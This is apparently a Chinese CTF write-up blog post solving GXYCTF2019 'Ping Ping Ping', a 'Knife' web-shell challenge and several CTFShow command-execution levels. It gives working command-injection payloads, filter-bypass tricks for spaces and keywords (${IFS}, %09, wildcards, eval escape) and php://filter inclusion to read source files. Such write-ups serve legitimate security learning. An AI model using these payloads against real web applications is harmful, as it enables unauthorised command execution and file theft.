[GXYCTF2019]Ping Ping Ping
使用管道可以看文件 “/?IP=127.0.0.1|ls",但是直接cat发现空格被过滤了
过滤了大部分,查了之后,空格过滤有一下几种绕过的办法
- ${IFS}替换
- $IFS$1替换
- ${IFS替换
- %20替换
- <和<>重定向符替换
- %09替换
{}和flag都被过滤了,但是可以看一下index.php的源码
flag.<>.{}都被过滤了,只能使用变量拼接,构造Payload
Payload:/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
打开源码即可找到Flag
[极客大挑战 2019]Knife
这给的提示其实比较明显了,不过我个人喜欢用蚁剑
打开蚁剑,输入网址,类型PHP,密码Syc,连上在根目录即可找到flag
确实非常的白给
CTFShow 命令执行:
1.preg_match("/flag/i")是正则匹配过滤了flag并且对大小写不敏感,使用?绕过
Payload:?c=system("tac%20fla?.php");或/?c=system("tac fla*");
使用cat也可,不过可能在网页的源码里😥
2.这次过滤了system,就不能用平常的命令执行了
eval()
函数就是把输入的字符串当作php代码去执行。
PHP 支持一个执行运算符:反引号(``)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数 shell_exec() 相同。
由此可以构造Payload
Payload:/?c=echo `tac *`;
或是先重命名再打开:/?c=`cp fla?.??? 2.txt`;
3.过滤了空格和cat,使用 %09代替空格绕过
Payload:/?c=echo%09`tac%09*`;
还有一种思路就是逃逸,也就是换一个变量来绕过正则
/?c=eval($_GET[1]);&1=system("cat%20flag.php");
4.这次增加了;的过滤和echo的过滤,使用文件包含+命令逃逸
Payload:?c=include%09$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
Comments NOTHING